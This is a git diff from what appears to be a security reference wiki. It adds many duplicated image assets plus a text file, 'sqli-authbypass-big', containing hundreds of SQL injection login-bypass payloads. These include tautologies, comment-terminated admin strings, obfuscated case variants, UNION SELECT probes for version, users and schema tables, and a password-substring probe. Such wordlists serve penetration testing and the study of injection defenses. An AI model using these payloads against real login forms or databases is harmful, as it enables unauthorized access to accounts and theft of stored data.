a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (4).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (4).png new file mode 100644 index 00000000..687c4435 Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (4).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (5).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (5).png new file mode 100644 index 00000000..687c4435 Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (5).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (6).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (6).png new file mode 100644 index 00000000..687c4435 Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (6).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (7).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (7).png new file mode 100644 index 00000000..687c4435 Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (7).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (8).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (8).png new file mode 100644 index 00000000..687c4435 Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (8).png differ diff --git a/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (9).png b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (9).png new file mode 100644 index 00000000..687c4435 Binary files /dev/null and b/.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (10) (9).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (1).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (1).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (1).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (2).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (2).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (2).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (3).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (3).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (3).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (4).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (4).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (4).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (5).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (5).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (5).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (6).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (6).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (6).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (7).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (7).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (7).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (8).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (8).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (8).png differ diff --git a/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (9).png b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (9).png new file mode 100644 index 00000000..5ec5cf81 Binary files /dev/null and b/.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (2) (9).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (1).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (1).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (1).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (2).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (2).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (2).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (3).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (3).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (3).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (4).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (4).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (4).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (5).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (5).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (5).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (6).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (6).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (6).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (7).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (7).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (7).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (8).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (8).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (8).png differ diff --git a/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (9).png b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (9).png new file mode 100644 index 00000000..50fcd35c Binary files /dev/null and b/.gitbook/assets/image (535) (1) (1) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (2) (9).png differ diff --git a/.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png b/.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png new file mode 100644 index 00000000..98efc7f5 Binary files /dev/null and b/.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (1).png b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (1).png new file mode 100644 index 00000000..e2fc218f Binary files /dev/null and b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (1).png differ diff --git a/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (2).png b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (2).png new file mode 100644 index 00000000..e2fc218f Binary files /dev/null and b/.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (2) (2).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (1).png b/.gitbook/assets/image (620) (2) (1) (1) (1).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (1).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (1) (2).png b/.gitbook/assets/image (620) (2) (1) (1) (2).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (1) (2).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (1).png b/.gitbook/assets/image (620) (2) (1) (2) (1).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (1).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (10).png b/.gitbook/assets/image (620) (2) (1) (2) (10).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (10).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (11).png b/.gitbook/assets/image (620) (2) (1) (2) (11).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (11).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (2).png b/.gitbook/assets/image (620) (2) (1) (2) (2).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (2).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (3).png b/.gitbook/assets/image (620) (2) (1) (2) (3).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (3).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (4).png b/.gitbook/assets/image (620) (2) (1) (2) (4).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (4).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (5).png b/.gitbook/assets/image (620) (2) (1) (2) (5).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (5).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (6).png b/.gitbook/assets/image (620) (2) (1) (2) (6).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (6).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (7).png b/.gitbook/assets/image (620) (2) (1) (2) (7).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (7).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (8).png b/.gitbook/assets/image (620) (2) (1) (2) (8).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (8).png differ diff --git a/.gitbook/assets/image (620) (2) (1) (2) (9).png b/.gitbook/assets/image (620) (2) (1) (2) (9).png new file mode 100644 index 00000000..8b781378 Binary files /dev/null and b/.gitbook/assets/image (620) (2) (1) (2) (9).png differ diff --git a/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (2) (1).png b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (2) (1).png new file mode 100644 index 00000000..4e69d4e1 Binary files /dev/null and b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (2) (1).png differ diff --git a/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (2) (2).png b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (2) (2).png new file mode 100644 index 00000000..4e69d4e1 Binary files /dev/null and b/.gitbook/assets/image (638) (1) (1) (1) (1) (1) (1) (2) (2).png differ diff --git a/.gitbook/assets/sqli-authbypass-big (1) (1) (1) (1) (1) (1) (1).txt b/.gitbook/assets/sqli-authbypass-big (1) (1) (1) (1) (1) (1) (1).txt new file mode 100644 index 00000000..5a03da57 --- /dev/null +++ b/.gitbook/assets/sqli-authbypass-big (1) (1) (1) (1) (1) (1) (1).txt @@ -0,0 +1,771 @@ +'-' +' ' +'&' +'^' +'*' +' or ''-' +' or '' ' +' or ''&' +' or ''^' +' or ''*' +"-" +" " +"&" +"^" +"*" +" or ""-" +" or "" " +" or ""&" +" or ""^" +" or ""*" +or true-- +" or true-- +' or true-- +") or true-- +') or true-- +' or 'x'='x +') or ('x')=('x +')) or (('x'))=(('x +" or "x"="x +") or ("x")=("x +")) or (("x"))=(("x +or 1=1 +or 1=1-- +or 1=1# +or 1=1/* +admin' -- +admin' # +admin'/* +admin' or '1'='1 +admin' or '1'='1'-- +admin' or '1'='1'# +admin' or '1'='1'/* +admin'or 1=1 or ''=' +admin' or 1=1 +admin' or 1=1-- +admin' or 1=1# +admin' or 1=1/* +admin') or ('1'='1 +admin') or ('1'='1'-- +admin') or ('1'='1'# +admin') or ('1'='1'/* +admin') or '1'='1 +admin') or '1'='1'-- +admin') or '1'='1'# +admin') or '1'='1'/* +1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 +admin" -- +admin" # +admin"/* +admin" or "1"="1 +admin" or "1"="1"-- +admin" or "1"="1"# +admin" or "1"="1"/* +admin"or 1=1 or ""=" +admin" or 1=1 +admin" or 1=1-- +admin" or 1=1# +admin" or 1=1/* +admin") or ("1"="1 +admin") or ("1"="1"-- +admin") or ("1"="1"# +admin") or ("1"="1"/* +admin") or "1"="1 +admin") or "1"="1"-- +admin") or "1"="1"# +admin") or "1"="1"/* +1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055 +== += +' +' -- +' # +' – +'-- +'/* +'# +" -- +" # +"/* +' and 1='1 +' and a='a + or 1=1 + or true +' or ''=' +" or ""=" +1′) and '1′='1– +' AND 1=0 UNION ALL SELECT '', '81dc9bdb52d04dc20036dbd8313ed055 +" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055 + and 1=1 + and 1=1– +' and 'one'='one +' and 'one'='one– +' group by password having 1=1-- +' group by userid having 1=1-- +' group by username having 1=1-- + like '%' + or 0=0 -- + or 0=0 # + or 0=0 – +' or 0=0 # +' or 0=0 -- +' or 0=0 # +' or 0=0 – +" or 0=0 -- +" or 0=0 # +" or 0=0 – +%' or '0'='0 + or 1=1 + or 1=1-- + or 1=1/* + or 1=1# + or 1=1– +' or 1=1-- +' or '1'='1 +' or '1'='1'-- +' or '1'='1'/* +' or '1'='1'# +' or '1′='1 +' or 1=1 +' or 1=1 -- +' or 1=1 – +' or 1=1-- +' or 1=1;# +' or 1=1/* +' or 1=1# +' or 1=1– +') or '1'='1 +') or '1'='1-- +') or '1'='1'-- +') or '1'='1'/* +') or '1'='1'# +') or ('1'='1 +') or ('1'='1-- +') or ('1'='1'-- +') or ('1'='1'/* +') or ('1'='1'# +'or'1=1 +'or'1=1′ +" or "1"="1 +" or "1"="1"-- +" or "1"="1"/* +" or "1"="1"# +" or 1=1 +" or 1=1 -- +" or 1=1 – +" or 1=1-- +" or 1=1/* +" or 1=1# +" or 1=1– +") or "1"="1 +") or "1"="1"-- +") or "1"="1"/* +") or "1"="1"# +") or ("1"="1 +") or ("1"="1"-- +") or ("1"="1"/* +") or ("1"="1"# +) or '1′='1– +) or ('1′='1– +' or 1=1 LIMIT 1;# +'or 1=1 or ''=' +"or 1=1 or ""=" +' or 'a'='a +' or a=a-- +' or a=a– +') or ('a'='a +" or "a"="a +") or ("a"="a +') or ('a'='a and hi") or ("a"="a +' or 'one'='one +' or 'one'='one– +' or uid like '% +' or uname like '% +' or userid like '% +' or user like '% +' or username like '% +' or 'x'='x +') or ('x'='x +" or "x"="x +' OR 'x'='x'#; +'=' 'or' and '=' 'or' +' UNION ALL SELECT 1, @@version;# +' UNION ALL SELECT system_user(),user();# +' UNION select table_schema,table_name FROM information_Schema.tables;# +admin' and substring(password/text(),1,1)='7 +' and substring(password/text(),1,1)='7 + +== += +' +" +'-- 2 +'/* +'# +"-- 2 +" # +"/* +'-' +'&' +'^' +'*' +'=' +0'<'2 +"-" +"&" +"^" +"*" +"=" +0"<"2 + +') +") +')-- 2 +')/* +')# +")-- 2 +") # +")/* +')-(' +')&(' +')^(' +')*(' +')=(' +0')<('2 +")-(" +")&(" +")^(" +")*(" +")=(" +0")<("2 + +'-''-- 2 +'-''# +'-''/* +'&''-- 2 +'&''# +'&''/* +'^''-- 2 +'^''# +'^''/* +'*''-- 2 +'*''# +'*''/* +'=''-- 2 +'=''# +'=''/* +0'<'2'-- 2 +0'<'2'# +0'<'2'/* +"-""-- 2 +"-""# +"-""/* +"&""-- 2 +"&""# +"&""/* +"^""-- 2 +"^""# +"^""/* +"*""-- 2 +"*""# +"*""/* +"=""-- 2 +"=""# +"=""/* +0"<"2"-- 2 +0"<"2"# +0"<"2"/* + +')-''-- 2 +')-''# +')-''/* +')&''-- 2 +')&''# +')&''/* +')^''-- 2 +')^''# +')^''/* +')*''-- 2 +')*''# +')*''/* +')=''-- 2 +')=''# +')=''/* +0')<'2'-- 2 +0')<'2'# +0')<'2'/* +")-""-- 2 +")-""# +")-""/* +")&""-- 2 +")&""# +")&""/* +")^""-- 2 +")^""# +")^""/* +")*""-- 2 +")*""# +")*""/* +")=""-- 2 +")=""# +")=""/* +0")<"2-- 2 +0")<"2# +0")<"2/* + + +'oR'2 +'oR'2'-- 2 +'oR'2'# +'oR'2'/* +'oR'2'oR' +'oR(2)-- 2 +'oR(2)# +'oR(2)/* +'oR(2)oR' +'oR 2-- 2 +'oR 2# +'oR 2/* +'oR 2 oR' +'oR/**/2-- 2 +'oR/**/2# +'oR/**/2/* +'oR/**/2/**/oR' +"oR"2 +"oR"2"-- 2 +"oR"2"# +"oR"2"/* +"oR"2"oR" +"oR(2)-- 2 +"oR(2)# +"oR(2)/* +"oR(2)oR" +"oR 2-- 2 +"oR 2# +"oR 2/* +"oR 2 oR" +"oR/**/2-- 2 +"oR/**/2# +"oR/**/2/* +"oR/**/2/**/oR" + +'oR'2'='2 +'oR'2'='2'oR' +'oR'2'='2'-- 2 +'oR'2'='2'# +'oR'2'='2'/* +'oR'2'='2'oR' +'oR 2=2-- 2 +'oR 2=2# +'oR 2=2/* +'oR 2=2 oR' +'oR/**/2=2-- 2 +'oR/**/2=2# +'oR/**/2=2/* +'oR/**/2=2/**/oR' +'oR(2)=2-- 2 +'oR(2)=2# +'oR(2)=2/* +'oR(2)=2/* +'oR(2)=(2)oR' +'oR'2'='2' LimIT 1-- 2 +'oR'2'='2' LimIT 1# +'oR'2'='2' LimIT 1/* +'oR(2)=(2)LimIT(1)-- 2 +'oR(2)=(2)LimIT(1)# +'oR(2)=(2)LimIT(1)/* +"oR"2"="2 +"oR"2"="2"oR" +"oR"2"="2"-- 2 +"oR"2"="2"# +"oR"2"="2"/* +"oR"2"="2"oR" +"oR 2=2-- 2 +"oR 2=2# +"oR 2=2/* +"oR 2=2 oR" +"oR/**/2=2-- 2 +"oR/**/2=2# +"oR/**/2=2/* +"oR/**/2=2/**/oR" +"oR(2)=2-- 2 +"oR(2)=2# +"oR(2)=2/* +"oR(2)=2/* +"oR(2)=(2)oR" +"oR"2"="2" LimIT 1-- 2 +"oR"2"="2" LimIT 1# +"oR"2"="2" LimIT 1/* +"oR(2)=(2)LimIT(1)-- 2 +"oR(2)=(2)LimIT(1)# +"oR(2)=(2)LimIT(1)/* + +'oR true-- 2 +'oR true# +'oR true/* +'oR true oR' +'oR(true)-- 2 +'oR(true)# +'oR(true)/* +'oR(true)oR' +'oR/**/true-- 2 +'oR/**/true# +'oR/**/true/* +'oR/**/true/**/oR' +"oR true-- 2 +"oR true# +"oR true/* +"oR true oR" +"oR(true)-- 2 +"oR(true)# +"oR(true)/* +"oR(true)oR" +"oR/**/true-- 2 +"oR/**/true# +"oR/**/true/* +"oR/**/true/**/oR" + +'oR'2'LiKE'2 +'oR'2'LiKE'2'-- 2 +'oR'2'LiKE'2'# +'oR'2'LiKE'2'/* +'oR'2'LiKE'2'oR' +'oR(2)LiKE(2)-- 2 +'oR(2)LiKE(2)# +'oR(2)LiKE(2)/* +'oR(2)LiKE(2)oR' +"oR"2"LiKE"2 +"oR"2"LiKE"2"-- 2 +"oR"2"LiKE"2"# +"oR"2"LiKE"2"/* +"oR"2"LiKE"2"oR" +"oR(2)LiKE(2)-- 2 +"oR(2)LiKE(2)# +"oR(2)LiKE(2)/* +"oR(2)LiKE(2)oR" + +admin +admin'-- 2 +admin'# +admin'/* +admin"-- 2 +admin"# +ffifdyop + +' UniON SElecT 1,2-- 2 +' UniON SElecT 1,2,3-- 2 +' UniON SElecT 1,2,3,4-- 2 +' UniON SElecT 1,2,3,4,5-- 2 +' UniON SElecT 1,2# +' UniON SElecT 1,2,3# +' UniON SElecT 1,2,3,4# +' UniON SElecT 1,2,3,4,5# +'UniON(SElecT(1),2)-- 2 +'UniON(SElecT(1),2,3)-- 2 +'UniON(SElecT(1),2,3,4)-- 2 +'UniON(SElecT(1),2,3,4,5)-- 2 +'UniON(SElecT(1),2)# +'UniON(SElecT(1),2,3)# +'UniON(SElecT(1),2,3,4)# +'UniON(SElecT(1),2,3,4,5)# +" UniON SElecT 1,2-- 2 +" UniON SElecT 1,2,3-- 2 +" UniON SElecT 1,2,3,4-- 2 +" UniON SElecT 1,2,3,4,5-- 2 +" UniON SElecT 1,2# +" UniON SElecT 1,2,3# +" UniON SElecT 1,2,3,4# +" UniON SElecT 1,2,3,4,5# +"UniON(SElecT(1),2)-- 2 +"UniON(SElecT(1),2,3)-- 2 +"UniON(SElecT(1),2,3,4)-- 2 +"UniON(SElecT(1),2,3,4,5)-- 2 +"UniON(SElecT(1),2)# +"UniON(SElecT(1),2,3)# +"UniON(SElecT(1),2,3,4)# +"UniON(SElecT(1),2,3,4,5)# + +'||'2 +'||2-- 2 +'||'2'||' +'||2# +'||2/* +'||2||' +"||"2 +"||2-- 2 +"||"2"||" +"||2# +"||2/* +"||2||" +'||'2'='2 +'||'2'='2'||' +'||2=2-- 2 +'||2=2# +'||2=2/* +'||2=2||' +"||"2"="2 +"||"2"="2"||" +"||2=2-- 2 +"||2=2# +"||2=2/* +"||2=2||" +'||2=(2)LimIT(1)-- 2 +'||2=(2)LimIT(1)# +'||2=(2)LimIT(1)/* +"||2=(2)LimIT(1)-- 2 +"||2=(2)LimIT(1)# +"||2=(2)LimIT(1)/* +'||true-- 2 +'||true# +'||true/* +'||true||' +"||true-- 2 +"||true# +"||true/* +"||true||" +'||'2'LiKE'2 +'||'2'LiKE'2'-- 2 +'||'2'LiKE'2'# +'||'2'LiKE'2'/* +'||'2'LiKE'2'||' +'||(2)LiKE(2)-- 2 +'||(2)LiKE(2)# +'||(2)LiKE(2)/* +'||(2)LiKE(2)||' +"||"2"LiKE"2 +"||"2"LiKE"2"-- 2 +"||"2"LiKE"2"# +"||"2"LiKE"2"/* +"||"2"LiKE"2"||" +"||(2)LiKE(2)-- 2 +"||(2)LiKE(2)# +"||(2)LiKE(2)/* +"||(2)LiKE(2)||" + +')oR('2 +')oR'2'-- 2 +')oR'2'# +')oR'2'/* +')oR'2'oR(' +')oR(2)-- 2 +')oR(2)# +')oR(2)/* +')oR(2)oR(' +')oR 2-- 2 +')oR 2# +')oR 2/* +')oR 2 oR(' +')oR/**/2-- 2 +')oR/**/2# +')oR/**/2/* +')oR/**/2/**/oR(' +")oR("2 +")oR"2"-- 2 +")oR"2"# +")oR"2"/* +")oR"2"oR(" 